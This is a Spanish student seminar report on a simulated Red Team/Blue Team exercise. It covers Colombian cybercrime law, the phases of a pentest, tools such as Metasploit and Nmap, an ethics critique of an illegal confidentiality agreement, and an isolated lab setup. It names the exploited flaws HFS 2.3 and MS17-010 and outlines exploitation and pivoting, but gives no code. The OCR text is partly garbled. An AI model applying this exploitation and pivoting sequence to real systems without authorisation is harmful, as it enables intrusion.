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Resumen
El presente informe consolida los resultados técnicos y estratégicos obtenidos durante el
Seminario Especializado: Equipos Estratégicos en Ciberseguridad, enfocado en el andlisis de un
incidente simulado que implicd la explotacion de vulnerabilidades conocidas y un posterior
movimiento lateral (pivoting) dentro de la infraestructura TI. El ejercicio demostrd la aplicacion
practica del pensamiento adversarial (Red Team) utilizando puertas traseras, y el rol estratégico
del Blue Team al ejecutar el ciclo de gestion de incidentes. Las acciones defensivas se centraron
en la contencidon inmediata mediante el aislamiento logico del sistema comprometido y la
erradicacion de la persistencia del atacante (eliminacion de cuentas de usuario efimeras),
confirmando que estas problematicas reflejan desafios criticos de la realidad actual. Se
documentan medidas de hardening criticas, como la desactivacion de protocolos inseguros y la
implementacion de los CIS Benchmarks, fundamentales para reforzar la postura defensiva.
Finalmente, este trabajo subraya la obligatoriedad de ejercer la profesion de ingenieria de manera
responsable, adherida a los codigos de ética y regulaciones constitucionales (COPNIA), lo cual
resulta clave para la implementacion exitosa de soluciones tecnologicas y el mejor desempefio en
las areas estratégicas de la ciberseguridad.

Palabras clave: Blue Team, contencion, COPNIA, hardening, Red Team.



Abstract
This report consolidates the technical and strategic results obtained during the Specialized
Seminar: Strategic Cybersecurity Teams, focused on the analysis of a simulated incident
involving the exploitation of known vulnerabilities and subsequent lateral movement (pivoting)
within the IT infrastructure. The exercise demonstrated the practical application of adversarial
thinking (Red Team) using backdoors, and the strategic role of the Blue Team in executing the
incident management cycle. Defensive actions focused on immediate containment through the
logical isolation of the compromised system and the eradication of attacker persistence (deletion
of ephemeral user accounts), confirming that these issues reflect critical challenges in the current
reality. Critical hardening measures are documented, such as the deactivation of insecure
protocols and the implementation of CIS Benchmarks, which are fundamental for strengthening
the defensive posture. Finally, this work underscores the obligation to practice the engineering
profession responsibly, adhering to codes of ethics and constitutional regulations (COPNIA),
which is key to the successful implementation of technological solutions and better performance
in strategic cybersecurity areas.

Keywords: Blue Team, containment, COPNIA, hardening, Red Team.
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Glosario
ACLs (Access Control Lists):
Listas de control de acceso. Conjunto de normativas establecidas en un firewall o router que
definen qué trafico de red tiene autorizacidn para ingresar o salir de una red o subred concreta, lo
cual es crucial para la segmentacion.
Blue Team:
Grupo de Seguridad Informatica encargado de preservar la posicion defensiva de una entidad, a
través de la identificacion, prevencion, reaccion y recuperacion frente a las agresiones. Tienen un
enfoque proactivo.
CIS Benchmarks:
Directrices de buenas practicas en seguridad, creadas por el Center for Internet Security (CIS) y
reconocidas a nivel mundial, que se emplean para fortalecer la configuracion de los sistemas
operativos, servidores y dispositivos de red.
Contencion:
La segunda fase del ciclo de Respuesta a Incidentes (después de la Identificacion). Consiste en
detener la actividad del atacante y limitar el dafo, generalmente mediante el aislamiento
inmediato del sistema comprometido.
Hardenizacion (Hardening):
El proceso de garantizar la seguridad de un sistema operativo, una aplicacion o una red consiste
en eliminar las vulnerabilidades y aplicar configuraciones seguras para reducir al minimo la
superficie de ataque.

Pivoting (Movimiento Lateral):
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Método empleado por un atacante para emplear un sistema comprometido (HOST-A) como un
punto de apoyo o puente con el fin de conseguir acceso a otros sistemas o segmentos internos de
la red (HOST-B), los cuales, en condiciones normales, serian inaccesibles.

SIEM (Security Information and Event Management):

Solucion que integra la administracion de informacion de seguridad (SIM) y la administracion de
eventos de seguridad (SEM). Posibilita la recopilacion, correlacion y andlisis de los registros de

seguridad en tiempo real para identificar riesgos y gestionar el cumplimiento.
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Introduccion

El panorama actual de la ciberseguridad exige una capacidad defensiva robusta y bien
estructurada. El presente informe consolida el trabajo desarrollado bajo el rol del Blue Team en
respuesta a un escenario simulado de compromiso de infraestructura, tal como se ejecuto en la
fase de Red Team previa. El incidente se centrd en la explotacion de vulnerabilidades conocidas
(como HFS 2.3 y MS17-010) que permitieron el acceso inicial y un posterior Movimiento
Lateral (Pivoting) dentro de la red.

La respuesta se estructura en la aplicacion practica del ciclo de gestion de incidentes
(identificacion, contenciodn, erradicacion y recuperacion). Para ello, este documento detalla las
acciones tacticas de aislamiento de sistemas, la propuesta de hardenizacion basada en estandares
como los CIS Benchmarks, el papel crucial del SIEM en la deteccion y correlacion de eventos, y
la distincion de roles entre el Equipo Azul y el Equipo de Respuesta a Incidentes (CSIRT).
Finalmente, se presentan las lecciones aprendidas y las recomendaciones necesarias para elevar

la postura de seguridad de la organizacion
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Justificacion

La eleccion de este tema responde a la necesidad de comprender con mayor profundidad
una problematica que, en la actualidad, tiene un impacto significativo en distintos ambitos de la
sociedad. La gestion de incidentes de ciberseguridad es un pilar fundamental para garantizar la
continuidad del negocio y proteger los activos de informacion criticos. Este ejercicio practico se
justifica por varias razones. En primer lugar, permite la implementacion practica del ciclo de
respuesta a incidentes, facilitando la transicion desde la teoria a la accidon concreta, utilizando
marcos establecidos como el NIST y guias institucionales.

En segundo lugar, el analisis del vector de ataque real (explotacion y pivoting) permite
sugerir medidas de endurecimiento especificas y prioritarias. Esto fortalece la postura defensiva
y asegura que la infraestructura pueda resistir técnicas avanzadas en el futuro. Finalmente, la
actividad promueve la adopcion de estandares de seguridad ampliamente aceptados, como los
CIS Benchmarks, y el uso de herramientas de codigo abierto para la contencion y el anélisis

forense, cumpliendo asi con las exigencias de un ambiente corporativo riguroso
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Objetivos

Objetivo General

Consolidar, examinar y transmitir de manera estratégica los resultados logrados durante
el ejercicio de simulacion de ciberseguridad (Red Team y Blue Team), a través de un informe
técnico y unas recomendaciones, para facilitar la toma de decisiones gerenciales con el objetivo
de robustecer la postura defensiva de la infraestructura TI.
Objetivos Especificos

Integrar los hallazgos técnicos obtenidos en las fases Red Team y Blue Team para
identificar vulnerabilidades criticas y puntos de mejora en la infraestructura evaluada.

Analizar la efectividad de las medidas de contencion y erradicacion aplicadas por el Blue
Team, considerando su impacto en la mitigacion del ataque y la reduccion del riesgo residual.

Documentar el desarrollo practico del escenario, incluyendo las herramientas utilizadas,
los procedimientos ejecutados y las evidencias obtenidas, con el fin de garantizar trazabilidad y
transparencia en el proceso.

Proponer recomendaciones estratégicas de hardening y segmentacion de red basadas en
estandares internacionales como los CIS Benchmarks, orientadas a fortalecer la postura de

seguridad organizacional.
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Principios de operaciones Red Team y Blue Team

En Colombia, el crecimiento del uso de tecnologias digitales ha hecho que la proteccion
de la informacion y la regulacion de los delitos informaticos sea un tema cada vez mas relevante.
Tanto las empresas como las instituciones publicas dependen de sistemas informéaticos para
operar y almacenar datos sensibles, lo que también ha aumentado los riesgos de ataques, accesos
no autorizados y manipulacion indebida de la informacion. Por esta razon, el pais ha desarrollado
un marco legal que establece normas, responsabilidades y sanciones para garantizar el uso seguro
de los datos y proteger a los ciudadanos frente a amenazas en entornos digitales.

En el contexto de la ciberseguridad y de las funciones que desempefian equipos como el
Red Team y el Blue Team, conocer estas leyes no solo permite operar de manera ética y
responsable, sino que también ayuda a entender como deben realizarse los procesos técnicos
dentro de los limites legales. A continuacion, se presenta una revision de la legislacion
colombiana mds importante relacionada con los delitos informadticos y la proteccion de datos
personales, explicada de forma clara y con un enfoque practico para su aplicacion en escenarios
de seguridad informatica.

Exploracion de la legislacion vinculada a los crimenes cibernéticos.

El marco juridico colombiano establece lineamientos claros para garantizar la proteccion
de la informacion y sancionar conductas ilicitas en entornos digitales. En primer lugar, la Ley
1273 de 2009, conocida como la Ley de Delitos Informaticos, modifico el Codigo Penal para
tipificar acciones que afectan la confidencialidad, integridad y disponibilidad de datos. Esta
norma contempla delitos como el acceso abusivo a sistemas informaticos, la interceptacion de
datos, el dafo informatico y el uso de software malicioso, imponiendo sanciones que incluyen

penas privativas de libertad y multas. Su aplicacion es fundamental para que las operaciones de
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Red Team y Blue Team se realicen dentro de un marco legal y ético, evitando que las pruebas de
penetracion se conviertan en actos ilegales. (Ley 1273 de 2009 - Gestor Normativo, s. f.-a)

Por otro lado, la Ley 1581 de 2012 regula la proteccion de datos personales, garantizando
derechos como la actualizacidn, rectificacion y supresion de informacion (Ley 1581 de 2012 -
Gestor Normativo, s. f.). Esta ley obliga a las organizaciones a implementar politicas de
seguridad y obtener autorizacion para el tratamiento de datos, reforzando principios de
transparencia y responsabilidad. El Decreto 1377 de 2013 complementa esta normativa al
establecer procedimientos para la autorizacion expresa del titular, lo que resulta esencial en
auditorias y pruebas de seguridad donde se manejan datos sensibles (Decreto 1377 de 2013 -
Gestor Normativo, s. t.).

Asimismo, la Ley 1266 de 2008, conocida como Habeas Data Financiero, protege la
informacion crediticia y financiera, asegurando que las entidades cumplan con principios de
veracidad y seguridad en el manejo de datos (Ley Estatutaria 1266 de 2008 | UNIDAD DE
INFORMACION Y ANALISIS FINANCIERO, s. f.). A esto se suma la Ley 1712 de 2014, que
promueve la transparencia y el acceso a la informacion publica, pero también establece
restricciones para salvaguardar datos personales y clasificados. Estas disposiciones son
relevantes para los equipos de ciberseguridad, ya que definen limites claros sobre qué
informacion puede ser consultada y como debe protegerse (Ley 1712 de 2014 - Gestor
Normativo, s. t.).

Finalmente, normas como la Ley 1621 de 2013 (Inteligencia y Contrainteligencia) y la
Ley 842 de 2003 (Cédigo de Etica para Ingenieros) refuerzan la obligacion de actuar con
responsabilidad profesional (Ley 8§42 de 2003 | Copnia, s. f.). La primera busca equilibrar la
seguridad nacional con el respeto a los derechos fundamentales (Ley 1621 de 2013 - Gestor

Normativo, s. f.), mientras que la segunda establece principios éticos que prohiben aceptar
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contratos que impliquen précticas ilegales, como interceptacion no autorizada o acceso abusivo a
sistemas. En conjunto, estas leyes conforman el marco legal colombiano sobre delitos
informaticos y proteccion de datos. Su importancia radica en que establecen un equilibrio entre
el derecho a la informacion, la privacidad de los ciudadanos y la responsabilidad de las
organizaciones frente al manejo seguro de la informacion digital.

En el contexto de Colombia, las actividades de los equipos Blue Team y Red Team deben
llevarse a cabo dentro de un marco legal y ético que asegure la privacidad, la integridad de los
sistemas y el respeto por la informacion.

El Red Team, que tiene como responsabilidad la simulacion de ataques auténticos para
valorar la seguridad de una organizacion, debe actuar con un contrato o acuerdo formal que
establezca el alcance de sus actividades y con autorizacion previa.

El Blue Team, encargado de la defensa, supervision y respuesta frente a incidentes, por
su parte, tiene que asegurarse de que sus actividades se alineen con los principios de proteccion
de datos definidos en la ley. Esto supone salvaguardar la informacion confidencial y personal de
trabajadores, clientes y proveedores ante accesos indebidos o revelaciones no permitidas.
Asimismo, el Blue Team tiene que poner en practica acciones administrativas y técnicas que
garanticen la confidencialidad, la integridad y la disponibilidad de los datos, como lo estipula la
Estudio de las etapas del Pentesting.

Un pentest, o prueba de penetracion, es una evaluacion de seguridad que simula un ataque
cibernético con el proposito de identificar las debilidades en un sistema informatico. Estas
evaluaciones buscan explotar las vulnerabilidades que se encuentran para imitar un ataque real.
Esto proporciona conocimiento de cémo se realizan las explotaciones como se pueden controlar
dando mas seguridad en los procesos e informacion que maneja cada sistema. (;Qué son las

pruebas de penetracion?, 2023)
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El proceso o etapas de un pentesting suele seguir unos pasos similares, pero si depende
del alcance que se quiera dar a este proceso. Existen métodos para realizar como una prueba de
caja negra donde no se tiene informacion sobre el objetivo a evaluar. En caja blanca donde se ha
compartido informacidn para poder vulnerar el sistema. O caja gris donde se entrega rangos o se
direcciona a equipos de red para buscar vulnerabilidades.

Reconocimiento:

En este proceso se retne la informacion sobre el sistema que se va a evaluar. El método o
de recoleccion de informacion depende del objetivo a evaluar, se puede analizar codigos fuente o
elementos de red y para esto hay herramientas especializadas para cada labor. Si es el caso de
elementos de red se puede utilizar Rcon.ng es una herramienta de reconocimiento OSINT
(OSINT Consiste en reunir informacion disponible solo piiblicamente y de forma legal. Donde
incluye redes sociales sitios web foros y registros publicos y base de datos) Esta informacion se
analiza para ser trasformada en inteligencia til.

Descubrimiento y desarrollo de objetivos

Una vez se obtengan informacion del proceso de reconocimiento estos datos se emplean
para identificar vulnerabilidades o enfocarse y asi ser explotadas. La herramienta Nmap puede
analizar redes de gran tamafio informar los puertos abiertos, que tipo de cortafuegos emplea. Los
servicios conocidos. (admin, 2022)

Explotacion

Es donde se realizan pruebas reales dependiendo del objetivo se prueban una variedad de
ataques, En esta Fase con autorizacion explicita, se busca aprovechar las vulnerabilidades
priorizadas para conseguir acceso esto es necesario realizarlo con control y con precauciones

para prevenir dafios irreparables.
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Herramienta: Metasploit Framework para llevar a cabo exploits conocidos y adquirir
shells/metasessions. Emplear un modulo de Metasploit para aprovechar una vulnerabilidad RCE
detectada y lanzar un payload controlado.

Escalamiento

Para profundizar en la vulnerabilidad o ataque q se lleva a cabo se realiza un
escalamiento donde se aprovechan el acceso logrado para ir mas all, evadiendo medidas de
seguridad y adquirir mas privilegios. Herramientas que se utiliza para Windows y Linux como
WINPEAS y LinPEas. (WinPEAS - Windows Privilege Escalation Tool, s. f.)

Limpieza y elaboracion de informes

Se procede a finalizar los elementos usados para realizar la penetracion, las puertas
abiertas los troyanos, todo lo que se cambi6. Se deja de una manera que alguien mas no pueda
explotar estos elementos. después de esto se procede a realizar un informe donde se especifica
las vulnerabilidades encontradas los métodos o procesos que se utilizaron para llevar el
escalonamiento desde su inicio al final de la penetracion realizada. Se menciona en este informe
que se hizo en el interior del sistema. Herramientas como Dradis o plantillas profesionales (o
simplemente un informe estructurado en PDF/Word). Para gestion de vulnerabilidades y
seguimiento, integrar resultados en sistemas de ticketing o en el gestor de parches.

Descripcion de los servicios y herramientas que se emplean en ciberseguridad.

Metasploit. Desarrollado en Ruby, es un marco de pruebas de penetracion que simplifica
la redaccion, el testeo y la ejecucion de codigo para aprovechar sistemas vulnerables. Incluye
modulos para eludir defensas, escanear, explotar y realizar la posexplotacion. Los especialistas
en seguridad lo emplean a menudo para simular ataques reales y examinar la fortaleza de los

sistemas. (Metasploit | Penetration Testing Software, Pen Testing Security, s. f.)
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Nmap. (Network Mapper) es una herramienta de coédigo abierto que se emplea para la
auditoria de seguridad y el descubrimiento de redes. Posibilita detectar servicios que se
encuentran activos, escanear los puertos abiertos, identificar los sistemas operativos y llevar a
cabo evaluaciones de vulnerabilidades.

Es la herramienta de referencia para las etapas de escaneo y enumeracion, dado que
transforma datos crudos de la red en objetivos especificos a analizar. (Qué es Nmap y como
usarlo, 2023)

OpenVAS (Sistema Abierto de Evaluacion de Vulnerabilidades) es un escaner de
vulnerabilidades que permite la ejecucion de pruebas autenticadas y no autenticadas en sistemas,
gracias a ser de codigo abierto. Admite protocolos de internet e industriales, y se actualiza de
manera continua con pruebas de vulnerabilidad. Elabora listados de vulnerabilidades asociadas,
produce informes que clasifican la gravedad de los hallazgos. En la practica, OpenVAS se utiliza
en la etapa de andlisis de vulnerabilidades para determinar qué debe ser explotado y cuéles
parches o configuraciones son prioritarios. (Cilleruelo, 2022a)

ExploitDB. Servicios en linea es una base de datos publica que retne exploits que son
codigos que permiten aprovechar alguna vulnerabilidad en esta base se almacena informacion de
pruebas el concepto para fallas de seguridad conocidas. Los investigadores y los expertos la
emplean para confirmar si hay un exploit disponible para una vulnerabilidad. Posibilita la
busqueda por sistema operativo, aplicacion, tipo de vulnerabilidad y CVE relacionado.

Se consulta para comprobar si existe un exploit publico para una vulnerabilidad
detectada. Esto contribuye a determinar el riesgo real y a crear pruebas controladas, asi como
para adquirir técnicas de explotacion. (Cilleruelo, 2022b)

CVE (Common Vulnerabilities and Exposures) Es un sistema que permite la

1dentificacion estandarizada de vulnerabilidades conocidas. Cada entrada CVE contiene un
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nimero Unico, asi como una descripcion y referencias publicas. MITRE lo mantiene y nutre
bases de datos como el NVD (National Vulnerability Database).

El sistema CVE proporciona identificadores exclusivos (por ejemplo, CVE-2024-xxxxXx)
para fallos de seguridad que son publicos. Opera como un catdlogo normalizado que posibilita la
referencia inequivoca de una vulnerabilidad en informes, bases de datos (por ejemplo, NVD) y
parches.

El uso del identificador CVE en una prueba de penetracion facilita la busqueda rapida de
informacion técnica, exploits relacionados con la vulneracion encontrada. (What Is CVE
(Common Vulnerabilities and Exposures)?, 2024)

Marco normativo y ética profesional en operaciones de seguridad
Examen de los anexos Acuerdo y Escenario 2 desde la perspectiva juridica y no ética.

Tras la lectura de los documentos entregados como son el escenario 2 , la situacion del
problema y el Acuerdo de confidencialidad entre SecureNova Labs y el estudiante. Logro
observar que la empresa por no prestar una atencion clara o actualizacion a su proceso de
contratacion sigue utilizando formatos de contratos que fueron redactados por un abogado que
fue despedido por irregularidades que se encontraron. Esto permite que la empresa siga llevando
procesos ilicitos pues existe normas éticas y leyes que estan en el ordenamiento juridico
colombiano.

Para lograr el objetivo de la empresa que es fortalecer los protocolos de seguridad de su
estructura interna, este proceso de contratacion debe ser enmarcado bajo las normas legales
actuales, se debe revisar toda la documentacion, redactar nuevos documentos de contratacion y
modificar los que ya se tienen en uso. La atencion por parte de la gerencia debe regirse con un

marco legal donde prevalece principios fundamentales de la ética profesional.
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Exploracion de situaciones con respecto a la violacion de la ley 1273

Los Fragmentos problematicos que logro evidenciar con la lectura del acuerdo de
confidencialidad son los siguientes:

En este acuerdo se evidencia en varias clausulas que se plantea conflictos éticos e ilegales
que no son apropiados para a la ética profesional del estudiante firmante ya que lo compromete a
en cubrir conductas ilicitas y a renunciar a acciones legales.

. En la clausula segunda numeral 2 se aprecia una normalizacion de practicas
ilicitas pues se describe como informacion confidencial entre varios elementos los datos secretos
como las chuzadas, interceptacion de informacion y acceso abusivo a sistemas informaticos.

Al tener claro que la empresa tiene como concepto que entre la informacion confidencial
hace parte datos secretos obtenidos en procesos como chuzadas, interceptacion de informacion y
acceso abusivo a sistemas informaticos lo que se menciona en todos los numerales de la cldusula
4 es perjudicial para quien sea la parte receptora.

. En el numeral 2 se obliga a proteger y mantener esta informacion confidencial e
ilegal solo para uso de la empresa. Esto va en contra del articulo 269F de La ley 1273 de 2009
violacion de datos personales. Aplica para toda persona que haga uso mantenga, manipules
informacion sustraida sin consentimiento (Ley 1273 de 2009 - Gestor Normativo, s. f.-b).

. En la clausula 4, numeral 3, se menciona: para el estudiante se prohibe denunciar
actividades ilegales como son el espionaje, donde la empresa obtendria informacion de terceros
mediante espionaje. Esta clausula est4 en contra de principios éticos fundamentales como son la
responsabilidad profesional restringe la obligacion de reportar un delito como lo describe la ley
que es clara en el articulo 269A de La ley 1273 de 2009 que un acceso abusivo a un sistema

informatico es realizado por toda persona que accede o permanece sin consentimiento en un
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sistema informético en contra de la voluntad del duefio este o no protegido contra alguna medida
de seguridad dicho sistema, (Ley 1273 de 2009 - Gestor Normativo, s. f.-b)

. El numeral 4 se describe de forma clara que se prohibe denunciar la informacién
confidencial e “ilegal” esto va en contra del articulo 269C de la ley 1273 de 2009 Interceptacion
de datos informaticos, ya que sin una orden judicial se penaliza la interceptacion de datos y es
muy claro que para la empresa este proceso hace parte de su informacion confidencial (Ley 1273
de 2009 - Gestor Normativo, s. f.-b).

. En el numeral 5 de la clausula 4 se solicita que en el momento que se le entregue
la informacion confidencial la utilice para efectos que la empresa requiera. En el numeral 6 se
solicita conservar la informacion confidencial y en el numeral 7 quien firma 6sea la parte
receptora debe responder por cualquier uso de la empresa de esta informacion confidencial.
Hacer uso de la informacién confidencial que puede ser obtenida de manera ilegal. Va en contra
del Articulo 269D de la ley 1273 Dafio informéatico. Donde se menciona que incurre en este
delito cualquier persona que manipule, altere o haga uso de informacion y que no esté autorizada
por el duefio de la informacion. (Ley 1273 de 2009 - Gestor Normativo, s. f.-b)

Lo que se obliga en el numeral 8 donde se solicita que el firmante en caso de
allanamiento por parte de las autoridades se haga responsable de la informacion confidencial que
tiene conocimiento o en su poder y en el numeral 9 se obliga a no divulgar la informacién
confidencial. Esto puede ser penado por el articulo 269f ley 1273 de 2009 violacion de datos
personales ya que el uso manipulacion de informacion obtenidos de manera ilegal son multados
con prision o multas. (Ley 1273 de 2009 - Gestor Normativo, s. f.-b)

Evaluacion de la propuesta laboral, considerando un analisis desde el marco ético y legal.

Después de realizar una lectura y andlisis al anexo 3 donde se encuentra el acuerdo de

confidencialidad al que deberia someterme en caso de aceptar la propuesta. Encuentro que el
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concepto de informacion confidencial que la empresa contratante promueve el uso indebido de
informacion y el encubrimiento de actividades ilegales, lo cual vulnera principios éticos y legales
que rigen el ejercicio profesional por el cual me desempefio. Ser responsable de la seguridad de
la informacion de la empresa y sus clientes, cumplir con el marco legal que rige en mi pais y la
ética con la que me he formado, imposibilita moralmente para firmar un contrato con todas estas
clausulas que no permite denunciar y por tal razon seria complice de procesos ilegales.

A continuacion, hago mencion a los deberes a los que estamos sujetos bajo el codigo de
ética para el ejercicio profesional de la ingenieria que esta en la ley 842 de 2003 y que van en
contra via de esta ley.

. Firmar un acuerdo que legaliza préacticas como "interceptacion de informacion" y
"acceso abusivo" va en contra de la ley 842 de 2003 en su articulo 31 literal B. Describe que se
debe proteger los archivos e informacion que se le hayan confiado o que tenga acceso en razon
de su profesion; obstaculizando que sean sustraidos, destruidos, ocultados o utilizados de manera
inapropiada, segun los fines para los cuales fueron destinados.

o El acuerdo prohibe denunciar actividades ilegales, lo que implica incumplir este
mandato ético que se menciona en el articulo 31 litera F: se debe denunciar todo delito que se
tenga conocimiento en el ejercicio de la profesion.

. Aceptar un contrato que tiene clausulas ilegales significaria aceptar un trabajo que
va en contra de la ley 842 de 2003 en el Articulo 34 literal a, "Proporcionar o aceptar empleos
que vayan en contra de las leyes vigentes, o asumir funciones que superen la competencia que le
confiere su titulo y su propia capacitacion".

o Ademas, el Codigo presenta en su articulo 35, deberes y en el articulo 36 las
prohibiciones que se deben tener en cuenta con la dignidad de ser profesional, donde debemos

hacer respetar todos los lineamientos legales y que para esto se debe comportar con honestidad,
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integridad y consideracion por el interés publico, evitando cualquier conducta que dafie la
dignidad de uno como profesional

. Ser parte de un acuerdo que encubre delitos informaticos contradice estas normas
y podria resultar en severas sanciones disciplinarias, incluyendo la revocacion de la matricula
profesional Como lo sefiala el articulo 53 de la ley 842 de 2003. (Ley 842 de 2003 | Copnia, s. 1.)

Por lo tanto, si aceptara esta oferta, comprometeria mi responsabilidad legal, la confianza
de la sociedad en los ingenieros y expertos en ciberseguridad y mi integridad como profesional.
La ética no es negociable por una paga: nuestra profesion se basa en la reputacion y en el
cumplimiento de las reglas.

Examen del caso de estudio, confirmando las consecuencias éticas y legales.

El caso presentado de ciber espionaje y ética para SecureNova Labs creo que es un caso
que se presenta en el dia a dia y que nos lleva a pensar cual es la ética que tiene un profesional
para aceptar un cargo teniendo estas clausulas que permite y oculta procesos evidentemente
ilegales. Es fundamental, como experto en ciberseguridad, tener presente que la ética y la
observancia de la ley siempre deben prevalecer sobre el interés econdomico. Aceptar un empleo
en condiciones ilegales contradice los principios de la ingenieria y el objetivo de salvaguardar la
informacion y la confianza de las personas.

(Qué Grado De Acceso A La Informacion Confidencial De Sus Clientes Deben Tener
Las Compainias De Ciberseguridad Durante Una Auditoria De Seguridad, Y Asegurar Que Este
Acceso No Sea Mal Utilizado?

o Creo que la empresa de ciberseguridad puede tener acceso a informacion sensible
de los empleados y clientes durante una auditoria, pero solo con una autorizacion de estos y con
procesos o fines que no vayan en contravia de las leyes establecidas. la empresa auditada debe

establecer un acceso que debe ser controlado o monitoreado, limitado a los objetivos que tiene la
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auditoria, La empresa de ciberseguridad debe operar con roles y cuentas diferentes a las que
utilizan los empleados y estas cuentas deben tener un limite de funciones de registros, se debe
llevar una trazabilidad de sus acciones. Para que esto se cumpla las empresas deben contar con
personal capacitado y con auditorias externas que pueda garantizar transparencia en una
rendicion de cuentas.

(Qué Medios De Control Y Supervision Es Necesario Establecer En Las Compaiiias De
Ciberseguridad Para Impedir Que Sus Trabajadores Usen Herramientas Sofisticadas De Analisis
Forense Con Propositos No Autorizados O Moralmente Reprobables?

. Para que no sea explotado de manera indebida el acceso que se le da a la empresa
auditora, todo este proceso de auditoria debe estar enmarcado en la norma iso 27001 anexo A ya
que con sus 93 controles permiten, por ejemplo:

o Establecer el alcance de la auditoria el cual debe ser claro y para esto se puede
utilizar politicas de control de acceso como se menciona en la norma ISO 27001 anexo A9.
donde se salvaguarda el acceso a la informacion. Con controles y requisitos de acceso.(«ISO
27001 — Anexo A.9», s. f.)

J Segregacion de funciones segun el anexo a9.4.1, las funciones de quien accede a
la informacion deben tener unos niveles y estas a su vez estar vinculadas a unas politicas de
acceso.

o Las clausulas de confidencialidad deben ser legitimas que no exista un
encubrimiento en caso de uso delictivo de la informacion, debe estar alineados segun las
politicas de seguridad y privacidad de la informacion resolucion 2239 de 2024 y el tratamiento
de los datos personales que se establece en la resolucion 02238 del 2024.(Politicas de Privacidad

vy Condiciones de Uso - Politicas de Privacidad y Condiciones de Uso, s. 1.)
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. Un medio de control y supervision para que los anteriores procesos que mencione
se cumplan son las auditorias internas y externas que se pueden llevar a cabo de manera
periddica, esto permitiria llevar un control con una actualizacion de las normas y marcos que
utiliza la empresa para su control de la informacion.

(Como Deben Reaccionar Los Gobiernos Y Las Organizaciones Si Se Enteran De Que
Una Compatfiia De Ciberseguridad A La Que Contrataron Ha Cometido Ciber Espionaje?

J La respuesta que espero que realice mi gobierno en caso de encontrar que una
empresa que contrataron realizo ciber espionaje, es la terminacion inmediate por incumplimiento
de la ley 1273 de 2009 y como lo dice en el articulo 269 C realizar interceptacion de datos
informaticos sin orden judicial incurrird en penas de prision. El gobierno debera tener una
gestion de transparencia con los afectados y con la comunidad, Debe notificar a las autoridades,
denunciar legalmente a los responsables y hacer publicos los hechos

(En qué consistirian las acciones apropiadas para recuperar la confianza y garantizar que
no vuelva a suceder?

La restauracion de la confianza es fundamenta y para esto debe identificar todos los
alcances que tuvo el ciber espionaje y asi tomar medidas bajo los marcos legales establecidos o
verificar si estos deben tener una actualizacion para evitar algiin proceso indebido. Realizar

auditorias y analisis forenses independientes, reforzar los controles internos como:

. Restructurar equipos de trabajo involucrados.
. Establecer politicas rigurosas de cumplimiento normativo y ético.
. Establecer un comité de supervision interno que se encargue de examinar de

forma constante las practicas en materia de privacidad y seguridad.
Implementar programas de capacitacion ética para todos los miembros del personal técnico y

directivo, enfatizando la relevancia de la transparencia y la responsabilidad en el trabajo.
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o Se deben revisar los contratos y acuerdos de confidencialidad donde se eliminaria
cualquier clausula ilegal o ambigua y cada politica se debe ajustar a la ley 1273 de 2009 y al
codigo de ética de COPNIA,

o Los gobiernos deben crear o contar con mecanismos de certificacion o
acreditacion ética para que se garantice que las empresas que liciten o se contraten cumplan con
estas certificaciones o estandares legales.

. Los gobiernos deben impulsar canales seguros de denuncia para empleados o
personas que puedan encontrar conductas sospechosas y asi poder denunciar sin ningin temor a
represalias.

Componente Practico
Informe de herramientas y procesos empleados para el desarrollo en el escenario Red
Team acorde a los pasos del pentesting.

Este informe presenta el desarrollo para abordar el escenario 3 propuesto en el Anexo 4,
se realizd una simulacion de ataque Red Team. El objetivo es identificar y explotar el vector de
fuga en una vulnerabilidad de una estacion Windows (HOST-A), realizar un escalonamiento de
privilegios para realizar un movimiento lateral hacia un servidor secundario (HOST-B) esto se
realiza con una simulacion en un laboratorio aislado siguiendo las fases del pentesting. La
simulacion se lleva a cabo con tres equipos configurados en méquinas virtuales, dos estaciones
de trabajo Windows, una llamada HOST-A y otra que sera el servidor de archivos HOST-B. Para
explotar la vulnerabilidad se utiliza una distribucion Linux llamada Parrot OS. A continuacion,
evidencio la configuracion de red utilizada para que se puedan comunicar las maquinas virtuales.

En el HOST-A se configura dos adaptadores de red. Adaptador 1 se selecciona como

adaptador puente y es para que tenga conexion a internet.
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Figura 1

Configuracion del primer adaptador de Red - HOST-A
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Fuente. Autoria Propia

Para que exista una comunicacion entre la maquina HOST-A y el servidor HOST-B se
configura una red interna, RED NAT llamada NaatNetworkLab3, para el HOST-A se configura
en un segundo adaptador de red.
Figura 2

Configuracion del segundo adaptador de red - HOST-A
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Fuente. Autoria Propia



En el servidor HOST-B se configura la RED NAT en el primer adaptador de red.

Figura 3

Configuracion del primer Adaptador de red - HOST-B
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Fuente. Autoria Propia

En la estacion con sistema operativo Linux Parrot se configura como adaptador puente.

Figura 4

Configuracion de adaptador de red de la maquina Parrot OS

e

U Parrot-0S - Settings

Basic M e

B General Red
Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
|| sistema P i " i
8 Habilitar adaptador de red
-‘ Pantalla
— Conectado a:  Adaptador puente ~

‘LT/'J Almacenamiento
} (DJ Audio

ﬁ Puertos serie

[V use

Carnatac ramnartidac

Nombre: Intel(R) Wi-Fi 6 AX201 160MHz
Tipo de adaptador: Intel PRO/1000 MT Desktop (82540EM)
Modo promiscuo:  Denegar
Direccion MAC: 0800279490F6

8 Cable conectado

Fuente. Autoria Propia

o X

settings £

33

Para conocer la direccion IP del HOST-A en simbolo de sistemas utilizamos el comando:

ipconfig



Figura §
Configuracion IP de adaptadores de red - HOST-A
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B Administrader: C:\Windows\system32\cmd.exe
SuflJo DNS e°pec1f1co para la conexion.
Uinculo: direccidén IPwé local. . . = feBB::hch B15:67fa:9924x13
Direccidn IPu4 1
Mascara de subred 255.255.255.8
Puerta de enlace predeterminada ia.8.2.1

Adaptador de Ethernet Conexidn de area local:

SuflJo DNS e°pec1f1co para la conexidn.

Uinculo: direccidén IPv6 local. . = f 4842 :9ced:4e38:789811
Direccidn IPu4 192.168.1.9

Miscara de subred 255 255 _255.8

Puerta de enlace predeterminada 122.168.1.1
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Estado de los medios. . . . . . . . . . . & medios desconectados
Sufijo DNS especifico para la conexién. . =

C:\lsers’usuariol

Fuente. Autoria Propia

La direccion IP para el adaptador a es 192.168.1.9 y para el adaptador b es 10.0.2.5

Para conocer la direccion IP de la estacion Parrot-OS se utiliza el comando: ifconfig

Figura 6

Configuracion IP adaptador de red - Parrot-OS

Parrot Terminal

Fuente. Autoria Propia
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Fase 1 Reconocimiento

En la primera fase del pentesting, identifico los hosts activos y puertos abiertos en la red,
esto se realiza desde la maquina disefiada para explotar las vulnerabilidades la estacion Parrot-
